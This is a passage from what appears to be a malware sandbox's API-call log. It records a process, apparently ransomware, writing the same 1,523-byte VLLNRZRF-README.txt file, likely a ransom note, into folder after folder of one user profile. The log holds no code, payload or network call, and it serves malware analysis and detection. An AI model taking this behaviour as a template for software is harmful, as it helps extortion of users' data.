lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0116.840] WriteFile (in: hFile=0x4fc, lpBuffer=0x234c068*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x234c068*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0116.841] CloseHandle (hObject=0x4fc) returned 1 [0116.909] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x49 [0116.909] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0116.909] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\o4dzl2uqv0omyi\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0116.909] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0116.909] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x49 [0116.909] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0116.909] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\o4dzl2uqv0omyi\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x508 [0116.910] GetFileType (hFile=0x508) returned 0x1 [0116.910] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0116.910] GetFileType (hFile=0x508) returned 0x1 [0116.910] SetFilePointer (in: hFile=0x508, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0116.910] WriteFile (in: hFile=0x508, lpBuffer=0x23a3740*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x23a3740*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0116.911] CloseHandle (hObject=0x508) returned 1 [0117.002] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x4e [0117.002] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0117.003] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\o4dzl2uqv0omyi\\tofl\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0117.003] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0117.003] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x4e [0117.003] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0117.003] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\o4dzl2uqv0omyi\\tofl\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x450 [0117.004] GetFileType (hFile=0x450) returned 0x1 [0117.004] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0117.004] GetFileType (hFile=0x450) returned 0x1 [0117.004] SetFilePointer (in: hFile=0x450, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0117.004] WriteFile (in: hFile=0x450, lpBuffer=0x22808f0*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x22808f0*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0117.005] CloseHandle (hObject=0x450) returned 1 [0117.241] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x46 [0117.241] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0117.241] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vu8dvdzm7au\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0117.241] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0117.241] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x46 [0117.241] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0117.242] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vu8dvdzm7au\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x49c [0117.242] GetFileType (hFile=0x49c) returned 0x1 [0117.242] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0117.242] GetFileType (hFile=0x49c) returned 0x1 [0117.242] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0117.243] WriteFile (in: hFile=0x49c, lpBuffer=0x2377730*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x2377730*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0117.244] CloseHandle (hObject=0x49c) returned 1 [0117.340] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x4e [0117.340] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0117.340] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vu8dvdzm7au\\ogukzne\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0117.340] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0117.340] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x4e [0117.340] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0117.340] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vu8dvdzm7au\\ogukzne\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x494 [0117.341] GetFileType (hFile=0x494) returned 0x1 [0117.341] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0117.341] GetFileType (hFile=0x494) returned 0x1 [0117.341] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0117.341] WriteFile (in: hFile=0x494, lpBuffer=0x222b1a8*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x222b1a8*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0117.342] CloseHandle (hObject=0x494) returned 1 [0117.408] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x53 [0117.408] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0117.408] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vu8dvdzm7au\\ogukzne\\kv2m\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0117.408] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0117.409] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x53 [0117.409] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0117.409] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\Kv2m\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vu8dvdzm7au\\ogukzne\\kv2m\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x4e8 [0117.409] GetFileType (hFile=0x4e8) returned 0x1 [0117.409] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0117.409] GetFileType (hFile=0x4e8) returned 0x1 [0117.409] SetFilePointer (in: hFile=0x4e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0117.410] WriteFile (in: hFile=0x4e8, lpBuffer=0x22be5b0*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x22be5b0*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0117.411] CloseHandle (hObject=0x4e8) returned 1 [0117.556] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x3b [0117.556] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0117.557] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\printhood\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0117.557] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0117.557] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x3b [0117.557] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0117.557] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\printhood\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x518 [0117.558] GetFileType (hFile=0x518) returned 0x1 [0117.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0117.558] GetFileType (hFile=0x518) returned 0x1 [0117.558] SetFilePointer (in: hFile=0x518, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0117.559] WriteFile (in: hFile=0x518, lpBuffer=0x222fcc8*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x222fcc8*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0117.560] CloseHandle (hObject=0x518) returned 1 [0117.572] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x38 [0117.572] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0117.573] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\recent\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0117.573] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0117.573] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x38 [0117.573] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0117.573] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\recent\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x528 [0117.574] GetFileType (hFile=0x528) returned 0x1 [0117.575] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0117.575] GetFileType (hFile=0x528) returned 0x1 [0117.575] SetFilePointer (in: hFile=0x528, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0117.575] WriteFile (in: hFile=0x528, lpBuffer=0x2234350*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x2234350*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0117.576] CloseHandle (hObject=0x528) returned 1 [0117.624] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x3d [0117.624] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0117.624] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\saved games\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0117.624] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0117.624] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x3d [0117.624] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0117.624] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\saved games\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x464 [0117.625] GetFileType (hFile=0x464) returned 0x1 [0117.625] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0117.625] GetFileType (hFile=0x464) returned 0x1 [0117.625] SetFilePointer (in: hFile=0x464, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0117.625] WriteFile (in: hFile=0x464, lpBuffer=0x2238a78*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x2238a78*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0117.626] CloseHandle (hObject=0x464) returned 1 [0117.658] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x3a [0117.658] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0117.658] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0117.658] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0117.658] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x3a [0117.658] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0117.658] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x450 [0117.659] GetFileType (hFile=0x450) returned 0x1 [0117.659] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0117.659] GetFileType (hFile=0x450) returned 0x1 [0117.659] SetFilePointer (in: hFile=0x450, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0117.659] WriteFile (in: hFile=0x450, lpBuffer=0x223de40*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x223de40*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0117.660] CloseHandle (hObject=0x450) returned 1 [0118.904] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x38 [0118.904] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0118.904] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\sendto\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, 